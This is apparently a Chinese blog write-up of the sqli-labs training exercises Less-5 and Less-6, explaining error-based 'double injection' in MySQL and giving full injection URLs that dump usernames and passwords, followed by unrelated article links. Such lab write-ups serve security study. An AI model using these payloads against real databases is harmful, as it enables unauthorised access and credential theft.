双注入原理:

来源:

http://www.myhack58.com/Article/html/3/7/2016/73471.htm (非常详细的说明了原理,good)

http://www.2cto.com/article/201303/192718.html(通俗易懂的讲解了使用方法)

基本句式:

select count(*), concat((select database()), floor(rand()*2))as a from information_schema.tables group by a;

派生表版

select 1 from (select count(*), concat('~',(select user()),'~', floor(rand()*2))as a from information_schema.tables group by a)x;

其中select database()可以换成任何希望的查询。

其中,count(*), floor(rand()*2), group by 缺一不可。

作用,会将查询结果信息通过key报错的形式显示出来。如:

原理:

mysql在遇到select count(*) from table group by x;这语句的时候会建立一个虚拟表,整个工作流程就如下图所示:

  1. 先建立虚拟表,如下图(其中key是主键,不可重复):

2.开始查询数据,取数据库数据,然后查看虚拟表存在不,不存在则插入新记录,存在则count(*)字段直接加1,如下图:

由此看到 如果key存在的话就+1, 不存在的话就新建一个key。

rand()多次计算:

mysql官方有给过提示,查询的时候如果使用rand()的话,该值会被计算多次,就是在使用group by的时候,floor(rand(0)*2)会被执行一次,如果虚表不存在记录,插入虚表的时候会再被执行一次。报错实际上就是floor(rand(0)*2)被计算多次导致的,具体看看select count(*) from TSafe group by floor(rand(0)*2);的查询过程:

1.查询前默认会建立空虚拟表如下图:

2.取第一条记录,执行floor(rand(0)*2),发现结果为0(第一次计算),查询虚拟表,发现0的键值不存在,则floor(rand(0)*2)会被再计算一次,结果为1(第二次计算),插入虚表,这时第一条记录查询完毕,如下图:

3.查询第二条记录,再次计算floor(rand(0)*2),发现结果为1(第三次计算),查询虚表,发现1的键值存在,所以floor(rand(0)*2)不会被计算第二次,直接count(*)加1,第二条记录查询完毕,结果如下:

4.查询第三条记录,再次计算floor(rand(0)*2),发现结果为0(第4次计算),查询虚表,发现键值没有0,则数据库尝试插入一条新的数据,在插入数据时floor(rand(0)*2)被再次计算,作为虚表的主键,其值为1(第5次计算),然而1这个主键已经存在于虚拟表中,而新计算的值也为1(主键键值必须唯一),所以插入的时候就直接报错了。

5.整个查询过程floor(rand(0)*2)被计算了5次,查询原数据表3次,所以这就是为什么数据表中需要3条数据,使用该语句才会报错的原因。

总结:

floor(rand()*2)是不可测的(未加随机因子rand(0)之类有随机因子的序列是固定的),因此在两条数据的时候,只要出现下面情况,即可报错,如下图:

最重要的是前面几条记录查询后不能让虚表存在0,1键值,如果存在了,那无论多少条记录,也都没办法报错,因为floor(rand()*2)不会再被计算做为虚表的键值,这也就是为什么不加随机因子有时候会报错,有时候不会报错的原因。

Less-5: 双注入,单引号

第五题跟前面的四道完全不同,区别在于前四题会返回数据库的查询结果,而第五题只会输出you are in。没有结果。但是错误信息会显示。

所以思路就是如何让查询结果从错误信息中显示出来,利用上面讲的双注入方法。

1.测试数据格式

http://127.0.0.1/sqli-labs/Less-5/?id='

结果:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''' LIMIT 0,1' at line 1

说明id被单引号包围,需要闭合单引号。

2.查询用户名密码

方法一:套用双注入公式

http://127.0.0.1/sqli-labs/Less-5/?id=' union select 1, count(*), concat('~',(select concat(username,'/',password) from users limit 0,1),'~', floor(rand(0)*2))as a from information_schema.tables group by a -- a

结果:Duplicate entry '~Dumb/Dumb~0' for key 'group_key'

方法二:(不好,繁琐)

http://127.0.0.1/sqli-labs/Less-5/?id=' union select 1, count(*), concat(z.username,'/',z.password,floor(rand(0)*2)) b from (select x.username,x.password from (select 1 as a, username,password from users limit 0,1)x join (select 1 as a from users)y on x.a=y.a)z group by b -- a

结果:Duplicate entry 'Dumb/Dumb1' for key 'group_key'

原理:通过join函数,将第一个用户名和密码重复多次,产生重复数据,使其后在虚表中可以出现key冲突。

问题:上面一次查询一行数据可以成功报错,但是用group_contact后,将多行数据汇聚到一起则无法报错了。不应该啊,rand(0)*2的序列是固定的,且数据量一定大于3行,为何不报错???

语句如下:

http://127.0.0.1/sqli-labs/Less-5/?id=' union select 1, count(*), concat(z.b,'-',floor(rand()*2)) c from (select x.b from (select 1 as a, GROUP_CONCAT(concat(username,'@',password)) as b from users limit 0,1)x join (select 1 as a from users)y on x.a=y.a)z group by c -- a

Less-6:双注入,双引号

1.判断语句格式

http://127.0.0.1/sqli-labs/Less-6/?id="

输出:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '""" LIMIT 0,1' at line 14

说明id通过双引号包裹。

2.查询用户名,密码

http://127.0.0.1/sqli-labs/Less-5/?id=" union select 1, count(*), concat('~',(select concat(username,'/',password) from users limit 0,1),'~', floor(rand(0)*2))as a from information_schema.tables group by a -- a

【sqli-labs】Less5~Less6的更多相关文章

  1. Sqli labs系列-less-5&6 报错注入法(下)

    我先输入 ' 让其出错. 然后知道语句是单引号闭合. 然后直接 and 1=1 测试. 返回正常,再 and 1=2 . 返回错误,开始猜表段数. 恩,3位.让其报错,然后注入... 擦,不错出,再加 ...

  2. Sqli labs系列-less-5&6 报错注入法(上)

    在我一系列常规的测试后发现,第五关和第六关,是属于报错注入的关卡,两关的区别是一个是单引号一个是双引号...当然我是看了源码的.... 基于报错注入的方法,我早就忘的差不多了,,,我记的我最后一次基于 ...

  3. 【SEED Labs】Public-Key Infrastructure (PKI) Lab

    Lab Overview 公钥加密是当今安全通信的基础,但当通信的一方向另一方发送其公钥时,它会受到中间人的攻击.根本的问题是,没有简单的方法来验证公钥的所有权,即,给定公钥及其声明的所有者信息,如何 ...

  4. 【SEED Labs】DNS Rebinding Attack Lab

    Lab Overview 实验环境下载:https://seedsecuritylabs.org/Labs_16.04/Networking/DNS_Rebinding/ 在这个实验中模拟的物联网设备 ...

  5. 【SEED Labs】TCP Attacks Lab

    Lab Overview 实验环境下载:https://seedsecuritylabs.org/Labs_16.04/Networking/TCP_Attacks/ 本实验涵盖以下课题: • TCP ...

  6. SQLI LABS Basic Part(1-22) WriteUp

    好久没有专门练SQL注入了,正好刷一遍SQLI LABS,复习巩固一波~ 环境: phpStudy(之前一直用自己搭的AMP,下了这个之后才发现这个更方便,可以切换不同版本的PHP,没装的小伙伴赶紧试 ...

  7. SQLi_Labs通关文档【1-65关】

    SQLi_Labs通关文档[1-65关] 为了不干扰自己本机环境,SQL-LAB我就用的码头工人,跑起来的,搭建也非常简单,也就两条命令 docker pull acgpiano/sqli-labs ...

  8. 【移动端】300ms延迟以及点透事件原因以及解决方案

    产生原因 移动端会有双击缩放的这个操作,因此浏览器在click之后要等待300ms,看用户有没有下一次点击,也就是这次操作是不是双击 说完移动端点击300ms延迟的问题,还不得不提一下移动端点击穿透的 ...

  9. Android加载/处理超大图片神器!SubsamplingScaleImageView(subsampling-scale-image-view)【系列1】

    Android加载/处理超大图片神器!SubsamplingScaleImageView(subsampling-scale-image-view)[系列1] Android在加载或者处理超大巨型图片 ...

随机推荐

  1. python问题:TypeError: a bytes-like object is required, not 'str'

    源程序: import socket target_host = "www.baidu.com" # 127.0.0.1 target_port = 80 # 建立一个socket ...

  2. python,类和对象练习

    ''' 按照一下要求定义一个游乐园门票类,并尝试计算2个成人+1个小孩子平日票价 1.平日票价100元 2.周末票价为平日票价120% 3.儿童半价 ''' class Ticket: pice = ...

  3. 原子类型的使用&Unsafe&CAS

    在项目中也经常可以见到原子类型(AtomicXXX)的使用,而且AtomicXXX常用来代替基本类型或者基本类型的包装类型,因为其可以在不加同步锁的情况下保证线程安全(只对于原子操作). 下面以Ato ...

  4. CF1101D GCD Counting

    题目地址:CF1101D GCD Counting zz的我比赛时以为是树剖或者点分治然后果断放弃了 这道题不能顺着做,而应该从答案入手反着想 由于一个数的质因子实在太少了,因此首先找到每个点的点权的 ...

  5. log4j - 使用教程说明

    地址:http://www.codeceo.com/log4j-usage.html 日志是应用软件中不可缺少的部分,Apache的开源项目log4j是一个功能强大的日志组件,提供方便的日志记录.在a ...

  6. MySQL入门简介(转载)

    转载链接:https://www.cnblogs.com/webnote/p/5753996.html MySQL的相关概念介绍 MySQL 为关系型数据库(Relational Database M ...

  7. Git学习笔记04-管理修改

    Git跟踪并管理的是修改,而非文件.新增文件,修改一行,删除一点,都算是修改. 在.git工作区新增一个文件,test.txt,输入test git ...然后git add ​ ​ add之后修改t ...

  8. mysql的csv数据导入与导出

    # 需要station_realtime存在 load data infile 'd:/xxxx/station_realtime2013_01.csv' into table `station_re ...

  9. 嵌入式程序设计中C/C++代码的优化

    虽然使软件正确是一个工程合乎逻辑的最后一个步骤,但是在嵌入式的系统开发中,情况并不总是这样的.出于对低价产品的需求,硬件的设计者需要提供刚好足够的存储器和完成工作的处理能力.所以在嵌入式软件设计的最后 ...

  10. HBase基础架构及原理

    1. HBase框架简单介绍 HBase是一个分布式的.面向列的开源数据库,它不同于一般的关系数据库,是一个适合于非结构化数据存储的数据库.另一个不同的是HBase基于列的而不是基于行的模式.HBas ...